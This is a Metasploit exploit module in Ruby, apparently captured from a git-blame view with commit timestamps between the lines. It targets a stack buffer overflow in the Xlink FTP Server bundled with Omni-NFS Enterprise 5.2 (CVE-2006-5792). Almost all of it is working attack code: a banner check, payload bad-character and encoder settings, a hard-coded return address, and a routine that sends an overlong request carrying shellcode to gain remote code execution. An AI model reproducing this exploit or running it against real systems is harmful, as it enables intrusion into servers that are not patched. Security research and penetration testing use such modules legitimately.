2010-04-30 08:40:19 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-10-03 23:05:44 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GoodRanking
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Xlink FTP Server Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack buffer overflow in Xlink FTP Server
|
|
|
|
that comes bundled with Omni-NFS Enterprise 5.2.
|
|
|
|
When a overly long FTP request is sent to the server,
|
|
|
|
arbitrary code may be executed.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2006-5792' ],
|
|
|
|
[ 'OSVDB', '58646' ],
|
|
|
|
[ 'URL', 'http://www.xlink.com' ]
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 260,
|
|
|
|
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Omni-NFS Enterprise V5.2', { 'Ret' => 0x1001f09c } ], # OmniEOM.DLL 1.0.0.1
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 3 2009',
|
|
|
|
'DefaultTarget' => 0))
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
deregister_options('FTPUSER', 'FTPPASS')
|
|
|
|
end
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
|
|
|
connect
|
|
|
|
disconnect
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if (banner =~ /XLINK FTP Server/)
|
2014-01-21 17:07:03 +00:00
|
|
|
return Exploit::CheckCode::Detected
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
connect
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit = payload.encoded + [target.ret].pack('V')
|
|
|
|
sploit << rand_text_alpha_upper(2024 - payload.encoded.length) + "\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
sock.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
2009-10-03 23:05:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-10-03 23:05:44 +00:00
|
|
|
|
|
|
|
end
|